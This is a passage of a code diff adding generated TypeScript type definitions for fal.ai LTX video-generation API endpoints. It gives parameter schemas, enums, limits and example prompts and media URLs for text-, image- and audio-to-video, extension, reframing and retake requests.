IC-LoRA control budget caps the resolution x frames volume: roughly 6s at 720p or 15s at 480p; a request above it returns a 422 (lower num_frames, or use 480p). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Optional short description of the video's content/scene. It is woven into the effect's trained caption to sharpen the result; leave empty to apply the effect with a generic description. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Output resolution (short side), preserving the source aspect ratio. The IC-LoRA control path caps the resolution x frames volume, so resolution trades against duration: 720p allows up to ~6s (sharper), 480p up to ~15s (softer but longer). A request above the budget is rejected with a clear error — pick 480p for longer clips. Output duration is num_frames / frames_per_second. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23QualityWaterSimulationResolutionEnumKey + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The URL of the source video to transform. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityWaterSimulationVideoQualityEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityWaterSimulationVideoWriteModeEnumKey +} + +export type File0Ce74E24 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityWaterSimulation = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File0Ce74E24 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23AudioToVideoAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiLtx23AudioToVideoAspectRatioEnumKey = + (typeof inputFalAiLtx23AudioToVideoAspectRatioEnum)[keyof typeof inputFalAiLtx23AudioToVideoAspectRatioEnum] + +export type InputFalAiLtx23AudioToVideo = { + /** + * @description The aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image, or defaults to 16:9 if no image is provided. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtx23AudioToVideoAspectRatioEnumKey + /** + * @description Text description of how the video should be generated. Required if image_url is not provided. When image_url is provided, this describes how the image should be animated. + * @example A woman whispering to the microphone + */ + prompt?: string | null + /** + * @description URL of an image to use as the first frame of the video. If not provided, prompt is required. + * @example https://v3b.fal.media/files/b/0a90dfd2/G1zBOgd-17yqZ-2S5TN4j_M3nzt3Sp.png + */ + image_url?: string | null + /** + * @description Guidance scale for video generation. Higher values make the output more closely follow the prompt. Defaults to 5 for text-to-video, or 9 when providing an image. + */ + guidance_scale?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the audio file to generate a video from. Duration must be between 2 and 20 seconds; pro models support a maximum of 10 seconds. Must be publicly accessible or base64 data URI. + * @example https://v3b.fal.media/files/b/0a90dfe7/3a-DUXzO79XWIYwUDfHZX_output.mp3 + * @type string + */ + audio_url: string +} + +export type VideoFileB55A78Ff = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputFalAiLtx23AudioToVideo = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dfec/qqP0ClY8E3d83X8y0zLse_shyIe9XU.mp4","content_type":"video/mp4","file_name":"qqP0ClY8E3d83X8y0zLse_shyIe9XU.mp4"} + * @type object + */ + video: VideoFileB55A78Ff +} + +export const inputFalAiLtx23ExtendVideoModeEnum = { + start: 'start', + end: 'end', +} as const + +export type InputFalAiLtx23ExtendVideoModeEnumKey = + (typeof inputFalAiLtx23ExtendVideoModeEnum)[keyof typeof inputFalAiLtx23ExtendVideoModeEnum] + +export type InputFalAiLtx23ExtendVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the video to extend + * @example https://v3b.fal.media/files/b/0a90e01f/SWYdQyTBCPWYOLgfg5Jw2_004_video.mp4 + * @type string + */ + video_url: string + /** + * @description Where to extend the video: 'end' extends at the end, 'start' extends at the beginning. + * @default 'end' + * @type string | undefined + */ + mode?: InputFalAiLtx23ExtendVideoModeEnumKey + /** + * @description Duration in seconds to extend the video. Minimum 2 seconds, maximum 20 seconds. + * @minimum 2 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description Number of seconds from the input video to use as context for the extension (minimum 1 second, maximum 20 seconds). If not provided, defaults to maximize available context within the 505 frame limit. + */ + context?: number | null + /** + * @description Description of what should happen in the extended portion of the video. + * @example Continue the motion smoothly + */ + prompt?: string | null +} + +export type VideoFileEfabb563 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputFalAiLtx23ExtendVideo = { + /** + * @description The extended video file + * @example {"url":"https://v3b.fal.media/files/b/0a90e020/sQT2ORTL4ISEeLv3mRdF0_rGO62gwz.mp4","content_type":"video/mp4","file_name":"sQT2ORTL4ISEeLv3mRdF0_rGO62gwz.mp4"} + * @type object + */ + video: VideoFileEfabb563 +} + +export const inputFalAiLtx23ImageToVideoFpsEnum = { + '24': 24, + '25': 25, + '48': 48, + '50': 50, +} as const + +export type InputFalAiLtx23ImageToVideoFpsEnumKey = + (typeof inputFalAiLtx23ImageToVideoFpsEnum)[keyof typeof inputFalAiLtx23ImageToVideoFpsEnum] + +export const inputFalAiLtx23ImageToVideoResolutionEnum = { + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputFalAiLtx23ImageToVideoResolutionEnumKey = + (typeof inputFalAiLtx23ImageToVideoResolutionEnum)[keyof typeof inputFalAiLtx23ImageToVideoResolutionEnum] + +export const inputFalAiLtx23ImageToVideoAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiLtx23ImageToVideoAspectRatioEnumKey = + (typeof inputFalAiLtx23ImageToVideoAspectRatioEnum)[keyof typeof inputFalAiLtx23ImageToVideoAspectRatioEnum] + +export const inputFalAiLtx23ImageToVideoDurationEnum = { + '6': 6, + '8': 8, + '10': 10, +} as const + +export type InputFalAiLtx23ImageToVideoDurationEnumKey = + (typeof inputFalAiLtx23ImageToVideoDurationEnum)[keyof typeof inputFalAiLtx23ImageToVideoDurationEnum] + +export type InputFalAiLtx23ImageToVideo = { + /** + * @description The URL of the start image to use for the generated video. + * @example https://v3b.fal.media/files/b/0a90dd31/uJG2pMMJMcnVeC4PmwnAF_image_004.png + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The frames per second of the generated video + * @default 25 + * @type number | undefined + */ + fps?: InputFalAiLtx23ImageToVideoFpsEnumKey + /** + * @description The resolution of the generated video + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23ImageToVideoResolutionEnumKey + /** + * @description The aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtx23ImageToVideoAspectRatioEnumKey + /** + * @description The prompt to use for the generated video + * @minLength 1 + * @maxLength 5000 + * @example Periscope-level shot from behind tall grass of two Maasai warriors mid-leap during an adumu jumping dance, bodies fully airborne against a golden savanna sunset, red shuka robes frozen in motion, dust kicked up from the earth catching backlight, 85mm f/1.4 isolating the pair from a blurred circle of onlookers, Steve McCurry meets Emmanuel Lubezki + * @type string + */ + prompt: string + /** + * @description The URL of the end image to use for the generated video. When provided, generates a transition video between start and end frames. + */ + end_image_url?: string | null + /** + * @description The duration of the generated video in seconds + * @default 6 + * @type number | undefined + */ + duration?: InputFalAiLtx23ImageToVideoDurationEnumKey + /** + * @description Whether to generate audio for the generated video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean +} + +export type VideoFile14526122 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputFalAiLtx23ImageToVideo = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dd31/VUCTD0YYJIp_K4qQkkneL_wMVDWNRn.mp4","content_type":"video/mp4","file_name":"VUCTD0YYJIp_K4qQkkneL_wMVDWNRn.mp4"} + * @type object + */ + video: VideoFile14526122 +} + +export const inputFalAiLtx23ImageToVideoFastFpsEnum = { + '24': 24, + '25': 25, + '48': 48, + '50': 50, +} as const + +export type InputFalAiLtx23ImageToVideoFastFpsEnumKey = + (typeof inputFalAiLtx23ImageToVideoFastFpsEnum)[keyof typeof inputFalAiLtx23ImageToVideoFastFpsEnum] + +export const inputFalAiLtx23ImageToVideoFastResolutionEnum = { + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputFalAiLtx23ImageToVideoFastResolutionEnumKey = + (typeof inputFalAiLtx23ImageToVideoFastResolutionEnum)[keyof typeof inputFalAiLtx23ImageToVideoFastResolutionEnum] + +export const inputFalAiLtx23ImageToVideoFastAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiLtx23ImageToVideoFastAspectRatioEnumKey = + (typeof inputFalAiLtx23ImageToVideoFastAspectRatioEnum)[keyof typeof inputFalAiLtx23ImageToVideoFastAspectRatioEnum] + +export const inputFalAiLtx23ImageToVideoFastDurationEnum = { + '6': 6, + '8': 8, + '10': 10, + '12': 12, + '14': 14, + '16': 16, + '18': 18, + '20': 20, +} as const + +export type InputFalAiLtx23ImageToVideoFastDurationEnumKey = + (typeof inputFalAiLtx23ImageToVideoFastDurationEnum)[keyof typeof inputFalAiLtx23ImageToVideoFastDurationEnum] + +export type InputFalAiLtx23ImageToVideoFast = { + /** + * @description URL of the image to generate the video from. Must be publicly accessible or base64 data URI. Supports PNG, JPEG, WebP, AVIF, and HEIF formats. + * @example https://v3b.fal.media/files/b/0a90dd09/SnnnNct-o_zpGVEHDNVQ0_image_049.png + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The frames per second of the generated video + * @default 25 + * @type number | undefined + */ + fps?: InputFalAiLtx23ImageToVideoFastFpsEnumKey + /** + * @description The resolution of the generated video + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23ImageToVideoFastResolutionEnumKey + /** + * @description The aspect ratio of the generated video + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtx23ImageToVideoFastAspectRatioEnumKey + /** + * @description The prompt to generate the video from + * @minLength 1 + * @maxLength 5000 + * @example Snorkel lens ground-scraping tracking shot following a barefoot Ethiopian long-distance runner training on a dirt road at dawn, camera inches from the ground racing alongside, her feet kicking up red dust in slow motion at 240fps, Rift Valley landscape blurred in the background, the texture of earth and callused skin in hyper-detail, 40mm snorkel lens at ground height, Nike Running documentary meets Lubezki natural light, the poetry of human endurance + * @type string + */ + prompt: string + /** + * @description The URL of the end image to use for the generated video. When provided, generates a transition video between start and end frames. + */ + end_image_url?: string | null + /** + * @description The duration of the generated video in seconds. The fast model supports 6-20 seconds. Note: Durations longer than 10 seconds (12, 14, 16, 18, 20) are only supported with 25 FPS and 1080p resolution. + * @default 6 + * @type number | undefined + */ + duration?: InputFalAiLtx23ImageToVideoFastDurationEnumKey + /** + * @description Whether to generate audio for the generated video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean +} + +export type VideoFile6Edeea4F = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputFalAiLtx23ImageToVideoFast = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dd0b/JCP0MJDH3ioOFzRd7GsGi_aB0OxLmA.mp4","content_type":"video/mp4","file_name":"JCP0MJDH3ioOFzRd7GsGi_aB0OxLmA.mp4"} + * @type object + */ + video: VideoFile6Edeea4F +} + +export const inputFalAiLtx23ReframeAspectRatioEnum = { + '1:1': '1:1', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputFalAiLtx23ReframeAspectRatioEnumKey = + (typeof inputFalAiLtx23ReframeAspectRatioEnum)[keyof typeof inputFalAiLtx23ReframeAspectRatioEnum] + +export const inputFalAiLtx23ReframeResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiLtx23ReframeResolutionEnumKey = + (typeof inputFalAiLtx23ReframeResolutionEnum)[keyof typeof inputFalAiLtx23ReframeResolutionEnum] + +export type InputFalAiLtx23Reframe = { + /** + * @description The target aspect ratio to reframe the video to. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtx23ReframeAspectRatioEnumKey + /** + * @description The target output resolution tier. Combined with the aspect ratio to determine the output size. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23ReframeResolutionEnumKey + /** + * @description The URL of the video to reframe. Must be publicly accessible or a base64 data URI. The video is re-cropped to the target aspect ratio and the newly exposed areas are filled with generated content that matches the original. Max duration 60 seconds. + * @example https://storage.googleapis.com/falserverless/example_outputs/ltxv-2-t2v-output.mp4 + * @type string + */ + video_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFile2206Cec7 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputFalAiLtx23Reframe = { + /** + * @description The reframed video file + * @example {"file_name":"ltxv-2-3-reframe-output.mp4","content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a90e00f/xvl9SlF6b7a8327wKJDvm_JW6crfr3.mp4"} + * @type object + */ + video: VideoFile2206Cec7 +} + +export const inputFalAiLtx23RetakeVideoRetakeModeEnum = { + replace_audio: 'replace_audio', + replace_video: 'replace_video', + replace_audio_and_video: 'replace_audio_and_video', +} as const + +export type InputFalAiLtx23RetakeVideoRetakeModeEnumKey = + (typeof inputFalAiLtx23RetakeVideoRetakeModeEnum)[keyof typeof inputFalAiLtx23RetakeVideoRetakeModeEnum] + +export type InputFalAiLtx23RetakeVideo = { + /** + * @description The retake mode to use for the retake + * @default 'replace_audio_and_video' + * @type string | undefined + */ + retake_mode?: InputFalAiLtx23RetakeVideoRetakeModeEnumKey + /** + * @description The URL of the video to retake + * @example https://v3b.fal.media/files/b/0a90e00e/eNWXGtaGyZO--e6KcJh-3_171_video.mp4 + * @type string + */ + video_url: string + /** + * @description The start time of the video to retake in seconds + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + start_time?: number + /** + * @description The duration of the video to retake in seconds + * @minimum 2 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to retake the video with + * @minLength 1 + * @maxLength 5000 + * @example Change flower to red rose + * @type string + */ + prompt: string +} + +export type VideoFile9Cfc7A79 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputFalAiLtx23RetakeVideo = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90e00f/xvl9SlF6b7a8327wKJDvm_JW6crfr3.mp4","content_type":"video/mp4","file_name":"xvl9SlF6b7a8327wKJDvm_JW6crfr3.mp4"} + * @type object + */ + video: VideoFile9Cfc7A79 +} + +export const inputFalAiLtx23TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiLtx23TextToVideoAspectRatioEnumKey = + (typeof inputFalAiLtx23TextToVideoAspectRatioEnum)[keyof typeof inputFalAiLtx23TextToVideoAspectRatioEnum] + +export const inputFalAiLtx23TextToVideoFpsEnum = { + '24': 24, + '25': 25, + '48': 48, + '50': 50, +} as const + +export type InputFalAiLtx23TextToVideoFpsEnumKey = + (typeof inputFalAiLtx23TextToVideoFpsEnum)[keyof typeof inputFalAiLtx23TextToVideoFpsEnum] + +export const inputFalAiLtx23TextToVideoResolutionEnum = { + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputFalAiLtx23TextToVideoResolutionEnumKey = + (typeof inputFalAiLtx23TextToVideoResolutionEnum)[keyof typeof inputFalAiLtx23TextToVideoResolutionEnum] + +export const inputFalAiLtx23TextToVideoDurationEnum = { + '6': 6, + '8': 8, + '10': 10, +} as const + +export type InputFalAiLtx23TextToVideoDurationEnumKey = + (typeof inputFalAiLtx23TextToVideoDurationEnum)[keyof typeof inputFalAiLtx23TextToVideoDurationEnum] + +export type InputFalAiLtx23TextToVideo = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtx23TextToVideoAspectRatioEnumKey + /** + * @description The frames per second of the generated video + * @default 25 + * @type number | undefined + */ + fps?: InputFalAiLtx23TextToVideoFpsEnumKey + /** + * @description The resolution of the generated video + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23TextToVideoResolutionEnumKey + /** + * @description The duration of the generated video in seconds + * @default 6 + * @type number | undefined + */ + duration?: InputFalAiLtx23TextToVideoDurationEnumKey + /** + * @description Whether to generate audio for the generated video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to use for the generated video + * @minLength 1 + * @maxLength 5000 + * @example Through-the-veil shot of a bride's face during an Indian wedding ceremony, camera positioned behind the sheer red dupatta fabric, the embroidered pattern creating a textured overlay on her face, her eyes lined with kohl looking down at henna-covered hands, marigold garlands in soft background bokeh, 85mm f/1.2 focused through the fabric layer, warm tungsten and candlelight, Mira Nair Monsoon Wedding intimacy + * @type string + */ + prompt: string +} + +export type VideoFile401Be9F0 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputFalAiLtx23TextToVideo = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dd3a/EG257tf7j9UfVc-jHF8lI_0MWboc13.mp4","content_type":"video/mp4","file_name":"EG257tf7j9UfVc-jHF8lI_0MWboc13.mp4"} + * @type object + */ + video: VideoFile401Be9F0 +} + +export const inputFalAiLtx23TextToVideoFastAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiLtx23TextToVideoFastAspectRatioEnumKey = + (typeof inputFalAiLtx23TextToVideoFastAspectRatioEnum)[keyof typeof inputFalAiLtx23TextToVideoFastAspectRatioEnum] + +export const inputFalAiLtx23TextToVideoFastFpsEnum = { + '24': 24, + '25': 25, + '48': 48, + '50': 50, +} as const + +export type InputFalAiLtx23TextToVideoFastFpsEnumKey = + (typeof inputFalAiLtx23TextToVideoFastFpsEnum)[keyof typeof inputFalAiLtx23TextToVideoFastFpsEnum] + +export const inputFalAiLtx23TextToVideoFastResolutionEnum = { + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputFalAiLtx23TextToVideoFastResolutionEnumKey = + (typeof inputFalAiLtx23TextToVideoFastResolutionEnum)[keyof typeof inputFalAiLtx23TextToVideoFastResolutionEnum] + +export const inputFalAiLtx23TextToVideoFastDurationEnum = { + '6': 6, + '8': 8, + '10': 10, + '12': 12, + '14': 14, + '16': 16, + '18': 18, + '20': 20, +} as const + +export type InputFalAiLtx23TextToVideoFastDurationEnumKey = + (typeof inputFalAiLtx23TextToVideoFastDurationEnum)[keyof typeof inputFalAiLtx23TextToVideoFastDurationEnum] + +export type InputFalAiLtx23TextToVideoFast = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLtx23TextToVideoFastAspectRatioEnumKey + /** + * @description The frames per second of the generated video + * @default 25 + * @type number | undefined + */ + fps?: InputFalAiLtx23TextToVideoFastFpsEnumKey + /** + * @description The resolution of the generated video + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23TextToVideoFastResolutionEnumKey + /** + * @description The duration of the generated video in seconds. The fast model supports 6-20 seconds. Note: Durations longer than 10 seconds (12, 14, 16, 18, 20) are only supported with 25 FPS and 1080p resolution. + * @default 6 + * @type number | undefined + */ + duration?: InputFalAiLtx23TextToVideoFastDurationEnumKey + /** + * @description Whether to generate audio for the generated video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to use for the generated video + * @minLength 1 + * @maxLength 5000 + * @example Drone descent through the open oculus of a derelict Soviet-era radio telescope dish, spiraling downward into the rusted parabolic bowl where a lone botanist catalogs wildflowers growing through cracked concrete, her red jacket the only color against oxidized metal and grey sky, 24mm on a caged FPV drone, the descent creating a vertigo spiral, Tarkovsky Stalker zones of alien beauty reclaiming technology, science swallowed by nature + * @type string + */ + prompt: string +} + +export type VideoFileB10E7Be5 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputFalAiLtx23TextToVideoFast = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a90dde7/7ufClzCcdMD-up1rau1jF_6xx4WLgg.mp4","content_type":"video/mp4","file_name":"7ufClzCcdMD-up1rau1jF_6xx4WLgg.mp4"} + * @type object + */ + video: VideoFileB10E7Be5 +} + +export type InputFalAiLtxVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to generate the video from. + * @example A man stands waist-deep in a crystal-clear mountain pool, his back turned to a massive, thundering waterfall that cascades down jagged cliffs behind him. He wears a dark blue swimming shorts and his muscular back glistens with water droplets. The camera moves in a dynamic circular motion around him, starting from his right side and sweeping left, maintaining a slightly low angle that emphasizes the towering height of the waterfall. As the camera moves, the man slowly turns his head to follow its movement, his expression one of awe as he gazes up at the natural wonder. The waterfall creates a misty atmosphere, with sunlight filtering through the spray to create rainbow refractions. The water churns and ripples around him, reflecting the dramatic landscape. The handheld camera movement adds a subtle shake that enhances the raw, untamed energy of the scene. The lighting is natural and bright, with the sun positioned behind the waterfall, creating a backlit effect that silhouettes the falling water and illuminates the mist. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'low quality, worst quality, deformed, distorted, disfigured, motion smear, motion artifacts, fused fingers, bad anatomy, weird hand, ugly' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to take. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The guidance scale to use. + * @maximum 10 + * @default 3 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The seed to use for random number generation. + */ + seed?: number | null +} + +export type File8E52Fe54 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiLtxVideo = { + /** + * @description The seed used for random number generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File8E52Fe54 +} + +export type LoRAWeight = { + /** + * @description Scale of the LoRA weight. This is a multiplier applied to the LoRA weight when loading it. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or path to the LoRA weights. + * @type string + */ + path: string + /** + * @description Name of the LoRA weight. Only used if `path` is a HuggingFace repository, and is only required when the repository contains multiple LoRA weights. + */ + weight_name?: string | null +} + +export const inputFalAiLtxVideo13BDistilledResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtxVideo13BDistilledResolutionEnumKey = + (typeof inputFalAiLtxVideo13BDistilledResolutionEnum)[keyof typeof inputFalAiLtxVideo13BDistilledResolutionEnum] + +export const inputFalAiLtxVideo13BDistilledAspectRatioEnum = { + '9:16': '9:16', + '1:1': '1:1', + '16:9': '16:9', +} as const + +export type InputFalAiLtxVideo13BDistilledAspectRatioEnumKey = + (typeof 